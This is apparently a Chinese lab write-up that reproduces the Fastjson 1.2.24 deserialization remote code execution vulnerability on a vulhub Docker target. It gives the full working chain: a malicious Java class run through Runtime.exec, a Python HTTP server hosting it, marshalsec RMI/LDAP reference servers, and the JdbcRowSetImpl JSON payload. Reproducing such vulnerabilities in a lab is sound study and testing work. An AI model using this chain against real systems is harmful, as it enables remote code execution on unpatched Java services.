文章目录
前言
Fastjson 1.2.24下载
Java命令执行
marshalsec下载
maven历史版本下载
Docker容器进入的4种方式
Python开启HTTP服务
vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞
一、环境
[1]. 目标机(Debian 5)
192.168.248.131
vulhub
docker
docker-compose
[2]. 攻击机(Windows 10)
192.168.248.1
python3
javac
jre 1.8
burpsuite
marshalsec
maven
二、漏洞复现
[1]. 编译marshalsec项目
mvn clean package -DskipTests
[2]. 开启环境
systemctl start docker
docker-compose up -d
[3]. 编译恶意class
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "fox"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac java文件名
[4]. Python开启HTTP服务
python -m SimpleHTTPServer [端口]
python -m http.server [端口]
[5]. marshalsec开启LDAP或RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[攻击机IP]:[上个步骤python开的端口]/#[恶意class文件名,不包括后缀]" [新的端口]
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[攻击机IP]:[上个步骤python开的端口]/#[恶意class文件名,不包括后缀]" [新的端口]
[6]. 发送恶意json语句
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"[rmi或ldap]://192.168.248.1:[marshalsec项目开启的服务端口]/[恶意class文件名,不包括后缀]",
"autoCommit":true
}
}
[7]. 检测漏洞利用情况
docker ps
docker exec -it [镜像的ID,不需要全输入] /bin/bash